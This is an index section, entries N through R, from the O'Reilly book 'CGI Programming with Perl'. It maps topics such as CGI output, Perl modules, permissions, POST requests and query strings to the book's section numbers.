binmode, calling for systems not using: 3.4.1. Check the Client Browser
ending Content-type headers: 3.3.1.1. Outputting documents
operating systems, using on different: 3.3.1.1. Outputting documents
tab file delimiters and: 10.1.4. Delimiters
text wrapping and: 4.2.5. The <TEXTAREA> Tag
News module (example): 6.4.5.1. Embperl handler
administrative functions: 6.4.5.1. Embperl handler
newsgroups, Perl: A.6. Newsgroups
NFS systems, locking files across: 10.1.1.1. flock
nobody user: 15.1.1. Application Permissions
autoreply from, all incoming messages: 9.7.1. Autoreply from nobody
data storage file permissions and: 8.5.3. File Permissions
file permissions and (Unix systems): 10.1.2. Write Permissions
non-validating XML parsers: 14.3. Document Type Definition
not found status code for requested resources: 3.3.1.3. Specifying status codes
nph (non-parsed headers): 3.3.2. Complete (Non-Parsed) Headers
null list, equating arrays to: 17.1.5. undef Versus ( )
numbers
file locks, indicating type: 10.1.1.1. flock
in perl: 1.3.1. Why Perl?

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: O

object-oriented syntax, CGI.pm module: 5.1.3. Standard and Object-Oriented Syntax
objects
CGI
HTTP headers, printing in error handling: 5.5.3. Error Subroutines
CGI.pm
error messages for: 5.2.4. File Uploads with CGI.pm
$q prefix: 5.1.3. Standard and Object-Oriented Syntax
Document Object Model, defining for HTML and XML documents: 7.1.1. History
HTML::Template, importing parameters from CGI.pm: 6.3.1. Syntax
Perl, DBM files, storing as: 10.2.2. MLDBM
WDDX, interpreting with JavaScript: 7.3.2. Example
onChange handler (JavaScript)
assigning multiple statements to: 7.2.1.1. Validating elements
filed validation functions, calling: 7.2.1.3. Validation example
validating HTML form elements: 7.2.1.1. Validating elements
onCheck attribute: 4.2.3.4. Checkboxes
onClick attribute
image buttons: 4.2.3.8. Image buttons
plain buttons: 4.2.3.9. Plain buttons
reset buttons: 4.2.3.7. Reset buttons
submit buttons: 4.2.3.6. Submit buttons
onFocus, onBlur, and onChange attributes: 4.2.3.1. Text fields
online software store (example): 8.2.5. Trusting the Browser
onSubmit handler (JavaScript): 4.2.2. The <FORM> Tag
4.2.3.6. Submit buttons
7.2.1.2. Validating submits
7.3.2. Example
open function: 15.2.3. Is It Open?
PID of child process, checking: 15.2.3. Is It Open?
special, instigating fork: 8.2.4. fork and exec
open source modules for Perl on CPAN: 1.3.1. Why Perl?
open system command: 15.2.2. Check Status of System Calls
opening and closing tags: 14.2. An Introduction to XML
(see also closing tags)
HTML::Template commands: 6.3.1. Syntax
XML, use in: 14.2. An Introduction to XML
opening uploaded files, limiting attempts: 5.2.4. File Uploads with CGI.pm
operating systems
binary and text files, distinguishing: 15.2.7. Use binmode
binmode function, support for: 13.2.1.1. binmode
CGI scripts, differences in handling of: 1.2.2. Invoking CGI Scripts
ColdFusion language, use on: 1.3.2. Alternatives to CGI
end-of-file character, using: 15.3.3. Running Scripts from the Command Line
file names, variations in: 5.2.4. File Uploads with CGI.pm
forward slashes (/) separating directories: 12.3.1. Search Application
gcc compiler, obtaining pre-built binary of: B.1.1. Installing Modules
line endings
CGI scripts, not matching: 15.1.3. Line Endings
end-of-line characters, translating to \\\\n: 5.2.4. File Uploads with CGI.pm
News module (example)differences in: 3.3.1.1. Outputting documents
not using newlines, calling binmode for: 3.4.1. Check the Client Browser
Perl
allowing to fork: 8.2.3. Security Strategies
speed differences in: 1.3.1. Why Perl?
storage locations on different: 15.1.2. The Pound-Bang
TrueType fonts, support of: 13.5.4. Image Processing
operators
-e operator: 13.5.4. Image Processing
-M operator: 6.2. Server Side Includes
12.3.1. Search Application
-T operator: 12.2. Searching One by One, Take Two
12.3. Inverted Index Search
qq// operator: 5.4.2. Here Documents
string manipulation in perl: 1.3.1. Why Perl?
optimization and efficiency, CGI programs: 17. Efficiency and Optimization
FastCGI, using: 17.2. FastCGI
mod_perl, using: 17.3. mod_perl
Perl techniques for: 17.1. Basic Perl Tips, Top Ten
options: 12.3. Inverted Index Search
(see also options under command line)
-il options for case-insensitive searches: 12.1. Searching One by One
GET requests: 4.1. Sending Data to the Server
POST requests: 4.1. Sending Data to the Server
sendmail: 9.4.1. Command-Line Options
Options directive, disabling ExecCGI option: 1.4.1.2. Configuring by extension
Oracle, PL/SQL programming language: 16.1.6. Separating Storage from Your Primary Code
order information, sending: 11.2. Hidden Fields
output: 3.1.1.3. STDERR
(see also STDERR; STDOUT)
alternatives to CGI.pm for generating: 5.4. Alternatives for Generating Output
binary data, binmode function for: 13.2.1.1. binmode
buffering (see buffering)
CGI programs: 3.3. CGI Output
buffering: 3.3.2. Complete (Non-Parsed) Headers
caching by browsers: 5.3.1.3. Caching
complete (non-parsed) headers: 3.3.2. Complete (Non-Parsed) Headers
embedding in other programs: 6.2.6. Executing CGI Programs
partial headers: 3.3.1. Partial Headers
SSI parsing of: 6.2. Server Side Includes
status codes and: 3.3.1.3. Specifying status codes
CGI.pm
HTML, generating with: 5.3. Generating Output with CGI.pm
HTTP headers, generating with: 5.3. Generating Output with CGI.pm
errors
handling: 5.5. Handling Errors
handling with CGI::Carp module: 5.5.2. CGI::Carp
handling with error subroutines: 5.5.3. Error Subroutines
existing components, modifying with Mason: 6.5.1. A Component Approach
external applications, including in HTML documents: 6.2.1. Configuration
Mason module, modifying: 6.5.1. A Component Approach
from SSI directives: 6.2.4. Tailoring SSI Output
stream, unbuffering: 15.2.6. Unbuffer Output Stream
outputting image data: 13.2. Outputting Image Data
dynamic images
in HTML: 13.2.2. Including Dynamic Images in HTML
random images, CGI script returning: 13.2.1. An Example
overriding senders email addresses: 9.4.1. Command-Line Options

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: P

#PCDATA: 14.3. Document Type Definition
packages
package function, declaring Perl module package: 5.5.4. Custom Module
in Perl: 5.1.3. Standard and Object-Oriented Syntax
padding fields, character data types: 10.3.1. Creating a Database
param method: 5.2.2. Accessing Parameters
6.3.1. Syntax
file upload element, using as file handle: 5.2.4. File Uploads with CGI.pm
index keywords, retrieving: 5.2.2.3. Index queries
uploaded files, accessing names of: 5.2.4. File Uploads with CGI.pm
parameters
clearing all: 5.2.2.1. Modifying parameters
cookies: 11.3.1. Setting Cookies
restrictions applying to: 11.3.1. Setting Cookies
email addresses, passing through shells as: 9.1.1. Mailers and Shells
exporting to namespaces: 5.2.3. Exporting Parameters to a Namespace
forms
capturing to offline file: 15.3.3. Running Scripts from the Command Line
CGI.pm module, prompting for: 15.3.3. Running Scripts from the Command Line
passing as arguments to CGI scripts: 15.3.3. Running Scripts from the Command Line
looping as conditions: 6.3.1.2. Conditionals
modifying within CGI script: 5.2.2.1. Modifying parameters
passing without equal sign (=): 4.3. Decoding Form Input
parent processes: 8.2.4. fork and exec
parentheses () after XML element names: 14.3. Document Type Definition
parse_form_data (example script): 4.3. Decoding Form Input
parsers
HTML static documents: 6.3. HTML::Template
XML
different ways of parsing: 14.5. CGI Gateway to XML Middleware
syntax, simplicity of: 14.2. An Introduction to XML
validation rules, separating from: 14.3. Document Type Definition
writing: 14.4. Writing an XML Parser
XML::Parser: 14.5. CGI Gateway to XML Middleware
XML::Parser module: 14.3. Document Type Definition
parsing
CGI output with SSI: 6.2. Server Side Includes
cookies with CGI.pm: 11.3.1. Setting Cookies
HTML documents: 14.2. An Introduction to XML
inserting identifiers, code for: 11.1. Query Strings and Extra Path Information
for links: 11.1. Query Strings and Extra Path Information
for Perl code: 6.4. Embperl
URL encoding: 2.1.3. URL Encoding
XML documents
tag and: 14.3. Document Type Definition
without DTDs: 14.3. Document Type Definition
partial headers: 3.3.1. Partial Headers
Location header: 3.3.1.2. Forwarding to another URL
Status header: 3.3.1.3. Specifying status codes
passwords: 2.4.2.10. WWW-Authenticate
401 status code responses, asking for: 3.3.1.3. Specifying status codes
attributes, password fields: 4.2.3.2. Password fields
encrypted, in user file: 2.3.2.4. Authorization
GET requests, including for: 4.2.3.2. Password fields
Password element: 7.2.1.1. Validating elements
password fields, representing with characters: 4.2.3.2. Password fields
paths
cgi in URL: 1.4.1.1. Configuring by directory
default, Apache installation: 1.4. Web Server Configuration
filenames, varying delimiters among operating systems: 5.2.4. File Uploads with CGI.pm
filesystem, providing for files included in templates: 6.3.1.3. Including other files
full, creating to files: 12.2. Searching One by One, Take Two
full vs. relative in relative URLs: 2.1.2. Absolute and Relative URLs
index: 12.3.1. Search Application
default: 12.3. Inverted Index Search
specifying to: 12.3. Inverted Index Search
invalid, to interpreted scripting languages: 15.1.2. The Pound-Bang
to sendmail program from procmail: 9.7.1. Autoreply from nobody
URLs: 2.1.1. Elements of a URL
12.3.1. Search Application
extra information, maintaining state with: 11.1. Query Strings and Extra Path Information
for CGI scripts: 2.1.1. Elements of a URL
passing unique identifiers as extra information: 11. Maintaining State
protectedNews module (example): 2.3.2.4. Authorization
relative vs. full: 2.1.2. Absolute and Relative URLs
virtual paths: 1.4.1.1. Configuring by directory
Windows system files, browser handling of: 5.2.4. File Uploads with CGI.pm
PATH_TRANSLATED environment variable: 11.1. Query Strings and Extra Path Information
PDF (Portable Document Format): 13.1.4. PDF
Image::Magick module, support for: 13.5.3. PDF and PostScript Support
PDK (Perl Development Kit), obtaining from ActiveState web site: 15.3.5.3. ActiveState Perl debugger
peformance, Perl CGI programs
Perl techniques for improving
localizing variables with my: 17.1.3. Localize Variables with my
SelfLoader module, using: 17.1.6. SelfLoader
shell, avoiding: 17.1.8. Avoid the Shell
slurping, avoiding: 17.1.4. Avoid Slurping
undef vs. (): 17.1.5. undef Versus ( )
percent sign (%)
hashes, use of: 12.3.1. Search Application
14.5. CGI Gateway to XML Middleware
URL-encoded characters: 4.1. Sending Data to the Server
decoding: 4.3. Decoding Form Input
representing: 2.1.3. URL Encoding
performance and temporary files, named vs. anonymous: 10.1.3.2. Named temporary files
performance, Perl CGI programs
Perl techniques for improving: 17.1. Basic Perl Tips, Top Ten
autouse feature: 17.1.7. autouse
benchmarking code: 17.1.1. Benchmark Your Code
benchmarking modules: 17.1.2. Benchmark Modules, Too
existing solutions, finding: 17.1.9. Find Existing Solutions for Your Problems
regular expressions, using: 17.1.10. Regular Expressions
period (.) or dash (-), starting filenames with: 5.2.4. File Uploads with CGI.pm
5.2.4. File Uploads with CGI.pm
perl interpreter: 1.3.2. Alternatives to CGI
(see also interpreters)
embedding within web server: 1.3.2. Alternatives to CGI
Perl language
aliases for imported symbols: 5.1.3. Standard and Object-Oriented Syntax
buffering output to STDOUT for web server: 3.1.1.2. STDOUT
capitalization conventions: 16.2. Coding Guidelines
CGI (see CGI programs, CGI)
chr function, converting hexadecimal values to characters: 2.1.3. URL Encoding
coding techniques, avoiding bugs with: 15.2. Perl Coding Techniques
binmode, use of: 15.2.7. Use binmode
checking status of system calls: 15.2.2. Check Status of System Calls
file locking: 15.2.5. File Locking
strict module, using: 15.2.1. Use strict
unbuffering output stream: 15.2.6. Unbuffer Output Stream
using with Tk via Tk.pm: 15.3.5.2. ptkdb
commands in Embperl documents, surrounding with brackets: 6.4.2.1. Embperl code blocks
data structures
printing with Data::Dumper module: 15.3.4. Dumping Variables
related URLs and subsequent related URLs: 14.5. CGI Gateway to XML Middleware
data types (see data types)
DBI, using with: 10.4. DBI
DBM files, storing as objects in: 10.2.2. MLDBM
debugger: 15.3.5. Debuggers
15.3.5.3. ActiveState Perl debugger
(see also debugging)
ActiveState debugger: 15.3.5.3. ActiveState Perl debugger
documentation for: 15.3.5.1. The Perl debugger
default input record separator ($/): 12.3. Inverted Index Search
embedding within Apache web server: 17.3. mod_perl
Embperl module, shifting Perl code into HTML documents: 6.4. Embperl
end-of-line characters, translating to \\\\n: 5.2.4. File Uploads with CGI.pm
FastCGI and: 1.3.2. Alternatives to CGI
forking: 8.2.3. Security Strategies
functions vs. methods: 5.1.3. Standard and Object-Oriented Syntax
grep function: 12.2. Searching One by One, Take Two
here documents: 5.4.2. Here Documents
libraries, storing in site_perl directory: 5.5.4. Custom Module
linefeeds and carriage returns on different operating systems: 3.3.1.1. Outputting documents
list vs. scalar context: 2.4.2.4. Date
mailers: 9.6. Perl Mailers
modules: 11.1. Query Strings and Extra Path Information
B. Perl Modules
Apache::ASP: 1.3.2. Alternatives to CGI
CGIBook::UserTracker: 11.1. Query Strings and Extra Path Information
creating your own: 5.5.4. Custom Module
HTML::Mason module: 6.5. Mason
LWP module: 8.2.5. Trusting the Browser
open source: 1.3.1. Why Perl?
standard Perl script vs.: 5.5.4. Custom Module
WDDX.pm: 7.3.1. WDDX
XML::Parser: 14.3. Document Type Definition
newsgroups: A.6. Newsgroups
packages: 5.1.3. Standard and Object-Oriented Syntax
performance of CGI scripts, improving: 17.1. Basic Perl Tips, Top Ten
autouse feature: 17.1.7. autouse
benchmarking: 17.1.1. Benchmark Your Code
existing solutions, finding: 17.1.9. Find Existing Solutions for Your Problems
localizing variables with my: 17.1.3. Localize Variables with my
regular expressions, using: 17.1.10. Regular Expressions
SelfLoader module, using: 17.1.6. SelfLoader
shell, avoiding: 17.1.8. Avoid the Shell
slurping, avoiding: 17.1.4. Avoid Slurping
undef vs. (): 17.1.5. undef Versus ( )
pipes to external programs: 8.2.2. User Input and the Shell
PPM (Perl Package Manager): 10.4.1. Using DBI
printing, STDOUT and: 1.2. Introduction to CGI
qq// operator: 5.4.2. Here Documents
quotemeta function: 12.2. Searching One by One, Take Two
scalar representations of array references: 4.3. Decoding Form Input
STDERR, not buffering: 3.1.1.3. STDERR
storage locations, different operating systems: 15.1.2. The Pound-Bang
syntax errors, checking with -wc switch: 15.1.4. "Malformed" Header
taint mode: 8.4. Perl's Taint Mode
common problems with: 8.4.5. Common Problems with Taint Mode
data monitored by: 8.4.2. What Is Monitored by Taint Mode
how it works: 8.4.1. How Taint Works
reasons for using: 8.4.4. Why Use Taint Mode?
removing taint: 8.4.3. How Taintedness Is Removed
text files (see text files)
tie mechanism: 10.1.1.1. flock
turning on warnings and taint checking: 1.2.1. Sample CGI
underscore (_), use in: 16.2. Coding Guidelines
version, getting with -v flag: 15.1.2. The Pound-Bang
XML::Parser library, online information: 14.5. CGI Gateway to XML Middleware
perldoc (documentation viewer): B.2. perldoc
PerlEx module: 17. Efficiency and Optimization
PerlMagick module (see Image::Magick module: 13.5. PerlMagick
permanent moves, URLs of requested resources: 3.3.1.3. Specifying status codes
permissions
applications, CGI errors and: 15.1.1. Application Permissions
CGI programs
checking: 15.1.1. Application Permissions
configuring web server to set: 3.1. The CGI Environment
execute, turning offf: 1.4.1.2. Configuring by extension
forbidden (403 status code): 3.3.1.3. Specifying status codes
email users, security risks of: 9.1.2. False Identities
files
changing with chmod command: 15.1.1. Application Permissions
data storage: 8.5.3. File Permissions
server running as user: 10.1.2. Write Permissions
hash files, read/write: 10.2.1. DB_File
text files, writing to: 10.1.2. Write Permissions
phone directory interface (consolidated), using CGI middleware: 14. Middleware and XML
PHP programming language: 1.3.2. Alternatives to CGI
physical text wrapping: 4.2.5. The <TEXTAREA> Tag
PID, checking for child processes: 15.2.3. Is It Open?
pie charts
commute_pie.cgi script: 13.4.2. GD::Graph
creating with GD::Graph::pie module: 13.4.2. GD::Graph
three dimensional, creating with GD::Graph::pie3d: 13.4.3. GD::Graph3D
pipes
email messages through Perl scripts: 9.7.2. Forwarding to Another User
to external applications: 8.2.1. Calling External Applications
checking execution within: 15.2.3. Is It Open?
mail clients: 9.1.1. Mailers and Shells
replacing with fork: 8.2.4. fork and exec
security risks: 8.2.2. User Input and the Shell
opening to fgrep command for reading: 12.1. Searching One by One
processes, checking status with kill function: 15.2.3. Is It Open?
pipes (|), delimiting files with: 10.1.4. Delimiters
plain buttons: 4.2.3.9. Plain buttons
plus sign (+)
encoding spaces in URLs: 2.1.3. URL Encoding
keywords, separating in queries: 5.2.2.3. Index queries
replacing spaces in URL text: 4.1. Sending Data to the Server
XML elements: 14.3. Document Type Definition
PNG images: 3.4.1. Check the Client Browser
Chart::PNGgraph: 13.4.2. GD::Graph
converting to GIF or JPEG: 13.5.2. Converting PNGs to GIFs or JPEGs
features, added over GIF: 13.1.2. PNG
generating with GD module: 13.3. Generating PNGs with GD
linking to HTML pages: 3.4.1. Check the Client Browser
point and line charts combination, creating with GD::Graph::linespoints module: 13.4.2. GD::Graph
point charts, creating with GD::Graph::points module: 13.4.2. GD::Graph
pointers to directories, CGI application organization and: 16.1.2. Use Directories to Organize Your Projects
port numbers: 2.1.1. Elements of a URL
ommitting in URLs: 2.1.2. Absolute and Relative URLs
Portable Network Graphic image format (see PNG images)
POSIX module: 10.1.3.2. Named temporary files
POST requests: 2.3.1.4. POST
300-level status code responses to: 3.3.1.3. Specifying status codes
Content-length and Content-type fields: 2.3.2.2. Content-Length
Content-length header, referring to: 3.1.1.1. STDIN
form data to URLs with keywords: 5.2.2.3. Index queries
limiting size of: 5.1.1. Denial of Service Attacks
mailing list form (example): 4.1. Sending Data to the Server
options, including in: 4.1. Sending Data to the Server
query strings, accessing from URLs: 4.3. Decoding Form Input
query strings and: 5.2.2.2. POST and the query string
query_string method and: 5.2.1.4. query_string
URL tampering and: 8.2.5. Trusting the Browser
PostScript image file format: 13.5.3. PDF and PostScript Support
pound-bang (#!) line: 15.1.2. The Pound-Bang
-c flag and: 15.3.1. Check Syntax
PPM (Perl Package Manager): 10.4.1. Using DBI
Pragma: no-cache header: 3.4.3. Restricting Image Hijacking
pragmas
coding style guide, covering in: 16.2. Coding Guidelines
depending on variable scope, Embperl module: 6.4.2.2. Variable scope
preferences for web document use, storing as cookies: 11.3. Client-Side Cookies
prefixes, removing from words: 12.3. Inverted Index Search
prepare command, passing SQL query to: 10.4.1.3. Database querying
print statements
generating HTML output with: 5.4.1. Lots of print Statements
here documents: 1.2.1. Sample CGI
printenv command: 6.2.2. Format
printing
Embperl blocks: 6.4.2.1. Embperl code blocks
HTTP headers in error handling: 5.5.3. Error Subroutines
image files, determining increments: 3.4.1. Check the Client Browser
multiple items in lists: 5.3.3. Standard HTML Elements
Perl data structures with Data::Dumper: 15.3.4. Dumping Variables
related URLs: 14.5. CGI Gateway to XML Middleware
Set-Cookie header: 11.3.1. Setting Cookies
status codes with Status header: 3.3.1.3. Specifying status codes
to STDOUT: 1.2. Introduction to CGI
3.1.1.2. STDOUT
tag: 5.3.3. Standard HTML Elements
variable values: 15.3.4. Dumping Variables
process identifier (PID): 8.2.4. fork and exec
processes
child processes
checking PID of: 15.2.3. Is It Open?
creating with pipe connected: 8.2.4. fork and exec
creating separate to handle CGI scripts: 1.3.2. Alternatives to CGI
local, as clients: 14.1. Communicating with Other Servers
parent processes: 8.2.4. fork and exec
in pipes, checking status with kill function: 15.2.3. Is It Open?
remote, as servers: 14.1. Communicating with Other Servers
processing images, Image::Magick module: 13.5.4. Image Processing
procmail: 9.7. procmail
forwarding email messages to another user: 9.7.2. Forwarding to Another User
program logic, bracket pairs in Embperl: 6.4.2.1. Embperl code blocks
programming in the large (see strategic programming)
programming languages
ASP, support for: 1.3.2. Alternatives to CGI
code file extensions: 2.6.2. Internationalization
content negotiation and: 2.6. Content Negotiation
exchanging data between: 7.3.1. WDDX
interpreted languages, delays caused by: 17. Efficiency and Optimization
negotiation for static documents: 2.6.2. Internationalization
programs, CGI
503 Service Unavailable status responses: 3.3.1.3. Specifying status codes
address book: 10.4.2.2. Address book CGI script
application (example): 1.2.1. Sample CGI
architectural guidelines (see architectural guidelines, CGI programs)
bookmarklets, using with: 7.4.2. Bookmarklets and CGI
buffering, server handling of: 3.3.2. Complete (Non-Parsed) Headers
configuring: 1.4.1. Configuring CGI Scripts
1.4.1.2. Configuring by extension
Content-type field, use in: 2.4.2.3. Content-Type
cookies, testing for: 11.3.2. Testing for Cookies
cookie_test.cgi script: 11.3.2. Testing for Cookies
current_time.cgi script: 6.3.1. Syntax
data, converting to JavaScript: 7.3.1. WDDX
debugging (see debugging)
15.3.5.3. ActiveState Perl debugger
common errors: 15.1. Common Errors
debugging tools: 15.3. Debugging Tools
Perl coding techniques for avoiding bugs: 15.2. Perl Coding Techniques
development (see development, CGI programs)
coding guidelines: 16.2. Coding Guidelines
disabling file uploads and limiting POST request size: 5.1.1. Denial of Service Attacks
dynamic generation of web server response: 1.2. Introduction to CGI
efficiency and optimization: 17. Efficiency and Optimization
FastCGI, using: 17.2. FastCGI
mod_perl, using: 17.3. mod_perl
Perl techniques for: 17.1. Basic Perl Tips, Top Ten
email, sending with: 9. Sending Email
email addresses: 9.2. Email Addresses
procmail: 9.7. procmail
security: 9.1. Security
structure of Internet email: 9.3. Structure of Internet Email
embedding output from: 6.2.6. Executing CGI Programs
embpcgi.pl script: 6.4.1.3. embpcgi.pl
encoding/decoding tab-delimited data and end-of-line characters: 10.1.4. Delimiters
env_info.cgi script: 3.2.2. Examining Environment Variables
output: 3.2.2. Examining Environment Variables
environment variables: 3.2. Environment Variables
examples: 1.2.1. Sample CGI
listing for specific web server: 3.2.2. Examining Environment Variables
examples: 3.4. Examples
image hijacking, restricting: 3.4.3. Restricting Image Hijacking
image, sending after checking browser media formats: 3.4.1. Check the Client Browser
user authentication and identification: 3.4.2. User Authentication and Identification
feedback_sendmail.cgi script: 9.4.1. Command-Line Options
file handles: 3.1.1. File Handles
gateway to XML middleware: 14.5. CGI Gateway to XML Middleware
graphic images, creating: 13. Creating Graphics on the Fly
image data, outputting: 13.2. Outputting Image Data
mixed graphs (commute_mixed.cgi): 13.4.2. GD::Graph
pie charts (commute_pie.cgi): 13.4.2. GD::Graph
grep_search1.cgi script: 12.1. Searching One by One
how they work: 3. The Common Gateway Interface
HTML, alternatives for outputting: 5.4. Alternatives for Generating Output
HTTP header lines, returning: 1.2. Introduction to CGI
indexed_search.cgi script: 12.3.1. Search Application
music_browser.cgi script: 7.3.2. Example
output: 3.3. CGI Output
complete (non-parsed) headers: 3.3.2. Complete (Non-Parsed) Headers
partial headers: 3.3.1. Partial Headers
printing to STDOUT: 3.1.1.2. STDOUT
parameters
accessing: 5.2.2. Accessing Parameters
modifying within: 5.2.2.1. Modifying parameters
parse_form_data (example): 4.3. Decoding Form Input
parsing HTML documents and inserting identifiers: 11.1. Query Strings and Extra Path Information
permissions to run, forbidden (403) status code and: 3.3.1.3. Specifying status codes
requests for static HTML page, handling
unique identifiers: 11.1. Query Strings and Extra Path Information
security: 8. Security
encryption: 8.3. Encryption
trusting browsers: 8.2.5. Trusting the Browser
user input, handling: 8.2. Handling User Input
separate process, requirement for execution: 1.3.2. Alternatives to CGI
shoppe.cgi: 11.2. Hidden Fields
checkout page: 11.2. Hidden Fields
shopping cart page: 11.2. Hidden Fields
welcome page: 11.2. Hidden Fields
SSL/TLS connections and: 2.2. HTTP
status codes: 2.4.1. The Status Line
3.3.1.3. Specifying status codes
strict command, advantages of use: 1.2.1. Sample CGI
taint mode, reasons to use with: 8.4.4. Why Use Taint Mode?
text files (see text files)
URLs for: 1.2.2. Invoking CGI Scripts
2.1.1. Elements of a URL
projects, home pages for: A.5. Project Home Pages
protected realm, indicating with 401 status code: 3.3.1.3. Specifying status codes
/protected (URL paths): 2.3.2.4. Authorization
protocol and version string (status line): 3.3.2. Complete (Non-Parsed) Headers
protocols
cookie handling by browsers: 11.3. Client-Side Cookies
header (web server response), listing in: 1.2. Introduction to CGI
HTTP (see HTTP)
IP (Internet Protocol): 6.2.3. Environment Variables
SMTP: 9.6. Perl Mailers
SSL (Secure Socket Layer)POST requests: 2.2. HTTP
in URLs: 2.1.1. Elements of a URL
proxies: 2.5. Proxies
image caching and: 3.4.3. Restricting Image Hijacking
multiple users connecting via: 11. Maintaining State
ptkdb, PerlTk debugger: 15.3.5.2. ptkdb
PUT method: 2.3.1.1. PUT and DELETE

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: Q

qq// operator (Perl): 5.4.2. Here Documents
quality factors (media types): 2.6.1. Media Type
queries (index): 5.2.2.3. Index queries
query language (see SQL)
query result screens (various): 10.4.2.2. Address book CGI script
query strings: 2.1.1. Elements of a URL
4.1. Sending Data to the Server
$ENV{QUERY_STRING}
keywords, retrieving (POST form data to URL): 5.2.2.3. Index queries
query_string method vs.: 5.2.1.4. query_string
passing unique identifiers via: 11. Maintaining State
passwords, including for GET requests: 4.2.3.2. Password fields
POST requests: 5.2.2.2. POST and the query string
QUERY_STRING_UNESCAPED variable: 6.2.3. Environment Variables
in request lines: 2.3. Browser Requests
session identifier, appending to each link: 11.2. Hidden Fields
state, maintaining with: 11.1. Query Strings and Extra Path Information
URLs containing: 4.3. Decoding Form Input
querying databases with DBI: 10.4.1.3. Database querying
queueing email messages: 9.4.2. Mail Queue
quiz (sample XML document): 14.2. An Introduction to XML
quiz.dtd file (sample DTD): 14.3. Document Type Definition
quotes: 6.2.7. Common Errors
CGI.pm, use with: 15.3.3. Running Scripts from the Command Line
double, in strings
@ character in: 13.5.4. Image Processing
elements, email addresses: 9.2.1. Validating Syntax
indenting ending token, HTML here documents: 5.4.2. Here Documents
tokens ending here documents, use with: 5.4.2. Here Documents

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: R

@related, references to related URLs: 14.5. CGI Gateway to XML Middleware
#REQUIRED keyword, XML documents: 14.3. Document Type Definition
radio buttons: 4.2.3.5. Radio buttons
random images, CGI script returning: 13.2.1. An Example
raw_cookie method: 11.3.1. Setting Cookies
RDF (Resource Definition Format)
web page information on: 14.5. CGI Gateway to XML Middleware
RDF (Resource Definition Format) tag, XML documents: 14.4. Writing an XML Parser
read and write access to data files, controlling: 8.5.3. File Permissions
reading, additional materials: A.2. Additional Reading
reading image (binary file) data: 13.2.1.1. binmode
reading in entire files (slurping): 17.1.4. Avoid Slurping
reading/writing DBM files, MLDBM module and: 10.2.2. MLDBM
read/write permissions, accessing for hash files: 10.2.1. DB_File
realm
authorization, specifying for: 2.4.2.10. WWW-Authenticate
logins, identifying in: 2.3.2.4. Authorization
protected, indicating with 401 status code: 3.3.1.3. Specifying status codes
recordset: 7.3.2. Example
constructing: 7.3.2. Example
RedHat Linux, Apache directory structure on: 1.4. Web Server Configuration
redirect method (CGI.pm): 5.3.1. Controlling HTTP Headers with CGI.pm
redirection
307 temporary redirect status code: 3.3.1.3. Specifying status codes
to absolute URLs: 3.3.1.2. Forwarding to another URL
client requests, status codes for: 2.4.2.7. Location
cookies, setting in: 11.3.2. Testing for Cookies
error messages to browser: 14.5. CGI Gateway to XML Middleware
15.2.4. Trap die
15.2.4. Trap die
to relative URLs: 3.3.1.2. Forwarding to another URL
server status codes for: 2.4.1. The Status Line
user requests to static HTML page: 3.3.1.2. Forwarding to another URL
references
cited in this book: A. Works Cited and Further Reading
to related URLs: 14.5. CGI Gateway to XML Middleware
strict rules for, using: 1.2.1. Sample CGI
symbolic, strict vs.: 15.2.1. Use strict
referencing current scriptname in tags: 14.5. CGI Gateway to XML Middleware
Referer field: 2.3.2.7. Referer
11.3.2. Testing for Cookies
CGI script for checking: 3.4.3. Restricting Image Hijacking
regex
extracting words greater than or equal to two characters for index: 12.3. Inverted Index Search
searching for query with: 12.2. Searching One by One, Take Two
regexp, finding HTML tags with: 12.3. Inverted Index Search
registered media types for the web (IANA registry): 2.4.2.3. Content-Type
registration forms
email addresses, collecting from users: 9.2. Email Addresses
example: 7.2.1.3. Validation example
regular expressions: 6.4.5.1. Embperl handler
checking email address against: 9.2.1. Validating Syntax
eval function, using with: 12.2.1. Regex-Based Search Engine
JavaScript support for: 7.2.1.3. Validation example
matching email addresses: 9.2.1. Validating Syntax
mod_perl, problems with: 17.3.2. mod_perl Considerations
performance, improving: 17.1.10. Regular Expressions
results, reassigning to $filename: 5.2.4. File Uploads with CGI.pm
search engine based on: 12.2.1. Regex-Based Search Engine
search requests, running through: 12.1. Searching One by One
XML tags, filtering out bad data in: 14.5. CGI Gateway to XML Middleware
relational database management system (RDBMS): 10. Data Persistence
CSV formatted data and: 10.1.5. DBD::CSV
SQL, using with (see SQL)
relative times: 5.3.1.3. Caching
relative URLs: 2.1.2. Absolute and Relative URLs
16.1.3. Use Relative URLs
full paths vs. relative paths: 2.1.2. Absolute and Relative URLs
redirecting to: 3.3.1.2. Forwarding to another URL
remote processes as servers: 14.1. Communicating with Other Servers
removing indentation, HTML here documents: 5.4.2. Here Documents
removing or replacing files, write permission and: 10.1.2. Write Permissions
removing word suffixes automatically: 12.3. Inverted Index Search
rename function (Perl): 5.2.4. File Uploads with CGI.pm
replies to email messages, constructing with formail: 9.7.1. Autoreply from nobody
Reply-To field, email messages: 9.3. Structure of Internet Email
request line: 2.2.2. HTTP Headers
2.3.1. The Request Line
request methods
case sensitivity in: 2.3.1. The Request Line
HEAD: 2.3.1.3. HEAD
METHOD attribute, specifying with: 4.2.2. The <FORM> Tag
options, browsers including in: 4.1. Sending Data to the Server
POST: 2.3.1.4. POST
POST and GET
mailing list signup form (example): 4.1. Sending Data to the Server
PUT and DELETE: 2.3.1.1. PUT and DELETE
resources not supporting: 3.3.1.3. Specifying status codes
request/response cycle (HTTP): 2.2.1. The Request and Response Cycle
content negotiation: 2.6. Content Negotiation
proxies, effect on: 2.5. Proxies
